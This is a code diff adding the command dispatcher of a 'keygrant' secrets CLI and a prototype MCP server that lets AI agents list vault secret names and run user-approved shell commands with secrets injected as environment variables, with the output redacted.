+        with open(claude_md, "a", encoding="utf-8") as f:
+            if existing and not existing.endswith("\n"):
+                f.write("\n")
+            f.write(CLAUDE_MD_SNIPPET)
+        print(f"updated: {claude_md}")
+
+    print("\nnext steps:")
+    print("  1. add a secret:   keygrant set MY_KEY --desc \"what it is\"")
+    print("  2. restart Claude Code in this folder to load the MCP server")
+    return 0
+
+
+def main() -> int:
+    if len(sys.argv) < 2:
+        print(__doc__.strip(), file=sys.stderr)
+        return 2
+    cmd, args = sys.argv[1], sys.argv[2:]
+    handlers = {"set": cmd_set, "list": cmd_list, "rm": cmd_rm,
+                "exec": cmd_exec, "revoke": cmd_revoke, "init": cmd_init}
+    if cmd not in handlers:
+        print(f"error: unknown command: {cmd}", file=sys.stderr)
+        return 2
+    try:
+        return handlers[cmd](args)
+    except OSError as exc:
+        print(f"error: {exc}", file=sys.stderr)
+        return 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

keygrant_mcp.py

@@ -0,0 +1,222 @@
+#!/usr/bin/env python3
+"""keygrant MCP server (prototype) — stdio JSON-RPC, zero dependencies.
+
+Exposes the DPAPI vault to AI agents WITHOUT ever returning secret values:
+  - list_secrets: names, descriptions, usage metadata only
+  - exec_with_secrets: run a shell command with chosen secrets injected as env
+    vars; stdout/stderr are redacted (plaintext values masked) BEFORE being
+    returned into the model's context.
+
+Deliberately absent: any set/get tool. Storing a secret through the model
+would place the value in model context; values enter only out-of-band via
+`keygrant set` (stdin) or a future local UI.
+
+Register in Claude Code (.mcp.json):
+  {
+    "mcpServers": {
+      "keygrant": {
+        "command": "python",
+        "args": ["<path>/keygrant_mcp.py"]
+      }
+    }
+  }
+"""
+
+import json
+import os
+import subprocess
+import sys
+import uuid
+from datetime import datetime, timezone
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from keygrant import (  # noqa: E402
+    load_vault, save_vault, decrypt_value, request_approval, redact,
+)
+
+# One requester identity per MCP server process = per agent session. Grants
+# approved in this session cannot be reused by other sessions or bare CLI calls.
+os.environ["KEYGRANT_REQUESTER"] = f"mcp:{os.getpid()}:{uuid.uuid4().hex[:8]}"
+
+PROTOCOL_VERSION = "2025-06-18"
+
+TOOLS = [
+    {
+        "name": "list_secrets",
+        "description": (
+            "List the names and descriptions of secrets available in the local "
+            "vault. Values are never returned. Use exec_with_secrets to run a "
+            "command that needs one of these secrets."
+        ),
+        "inputSchema": {"type": "object", "properties": {}},
+    },
+    {
+        "name": "exec_with_secrets",
+        "description": (
+            "Run a shell command with the named secrets injected as environment "
+            "variables (reference them as %NAME% / $env:NAME / $NAME inside the "
+            "command). The user must approve access via a native dialog (grants "
+            "last 15 minutes); a denial is final — never retry it. Output is "
+            "returned with any plaintext secret values redacted. This is the "
+            "ONLY way to use a secret; values never appear in conversation "
+            "context."
+        ),
+        "inputSchema": {
+            "type": "object",
+            "properties": {
+                "command": {
+                    "type": "string",
+                    "description": "Shell command to run (executed via cmd /c on Windows).",
+                },
+                "secrets": {
+                    "type": "array",
+                    "items": {"type": "string"},
+                    "description": "Names of vault secrets to inject as env vars.",
+                },
+                "cwd": {
+                    "type": "string",
+                    "description": "Optional working directory.",
+                },
+            },
+            "required": ["command", "secrets"],
+        },
+    },
+]
+
+
+def tool_list_secrets(_args: dict) -> str:
+    vault = load_vault()
+    if not vault:
+        return "(vault empty — add secrets out-of-band with: keygrant set NAME)"
+    lines = []
+    for name, meta in sorted(vault.items()):
+        lines.append(
+            f"- {name}: {meta.get('desc') or '(no description)'} "
+            f"[used {meta.get('use_count', 0)}x, last: {meta.get('last_used') or 'never'}]"
+        )
+    return "\n".join(lines)
+
+
+def tool_exec_with_secrets(args: dict) -> str:
+    command = args["command"]
+    names = args["secrets"]
+    vault = load_vault()
+
+    for name in names:
+        if name not in vault:
+            return f"error: no such secret: {name} (use list_secrets)"
+
+    allowed, reason = request_approval(names, command)
+    if not allowed:
+        return (
+            f"denied: {reason}. Do not retry automatically; "
+            "ask the user whether they want to grant access."
+        )
+
+    secrets: dict[str, str] = {}
+    for name in names:
+        secrets[name] = decrypt_value(vault[name])
+
+    now = datetime.now(timezone.utc).isoformat(timespec="seconds")
+    for name in names:
+        vault[name]["last_used"] = now
+        vault[name]["use_count"] = vault[name].get("use_count", 0) + 1
+    save_vault(vault)
+
+    env = os.environ.copy()
+    env.update(secrets)
+    proc = subprocess.run(
+        ["cmd", "/c", command] if os.name == "nt" else ["sh", "-c", command],
+        env=env,
+        cwd=args.get("cwd") or None,
+        capture_output=True,
+        text=True,
+        errors="replace",
+        timeout=120,
+    )
+
+    out = redact(proc.stdout or "", secrets)
+    err = redact(proc.stderr or "", secrets)
+
+    parts = [f"exit code: {proc.returncode}"]
+    if out.strip():
+        parts.append(f"stdout:\n{out.rstrip()}")
+    if err.strip():
+        parts.append(f"stderr:\n{err.rstrip()}")
+    return "\n".join(parts)
+
+
+HANDLERS = {
+    "list_secrets": tool_list_secrets,
+    "exec_with_secrets": tool_exec_with_secrets,
+}
+
+
+def handle(msg: dict):
+    method = msg.get("method")
+    msg_id = msg.get("id")
+
+    if method == "initialize":
+        return {
+            "jsonrpc": "2.0",
+            "id": msg_id,
+            "result": {
+                "protocolVersion": PROTOCOL_VERSION,
+                "capabilities": {"tools": {}},
+                "serverInfo": {"name": "keygrant", "version": "0.1.0"},
+            },
+        }
+    if method == "tools/list":
+        return {"jsonrpc": "2.0", "id": msg_id, "result": {"tools": TOOLS}}
+    if method == "tools/call":
+        params = msg.get("params", {})
+        name = params.get("name")
+        handler = HANDLERS.get(name)
+        if handler is None:
+            return {
+                "jsonrpc": "2.0",
+                "id": msg_id,
+                "error": {"code": -32602, "message": f"unknown tool: {name}"},
+            }
+        try:
+            text = handler(params.get("arguments", {}))
+            return {
+                "jsonrpc": "2.0",
+                "id": msg_id,
+                "result": {"content": [{"type": "text", "text": text}]},
+            }
+        except Exception as exc:  # tool errors go back as tool results
+            return {
+                "jsonrpc": "2.0",
+                "id": msg_id,
+                "result": {
+                    "content": [{"type": "text", "text": f"error: {exc}"}],
+                    "isError": True,
+                },
+            }
+    if msg_id is not None:  # unknown request → error; notifications ignored
+        return {
+            "jsonrpc": "2.0",
+            "id": msg_id,
+            "error": {"code": -32601, "message": f"method not found: {method}"},
+        }
+    return None
+
+
+def main() -> None:
+    for line in sys.stdin:
+        line = line.strip().lstrip("")
+        if not line:
+            continue
+        try:
+            msg = json.loads(line)
+        except json.JSONDecodeError:
+            continue
+        reply = handle(msg)
+        if reply is not None:
+            sys.stdout.write(json.dumps(reply) + "\n")
+            sys.stdout.flush()
+
+
+if __name__ == "__main__":
+    main()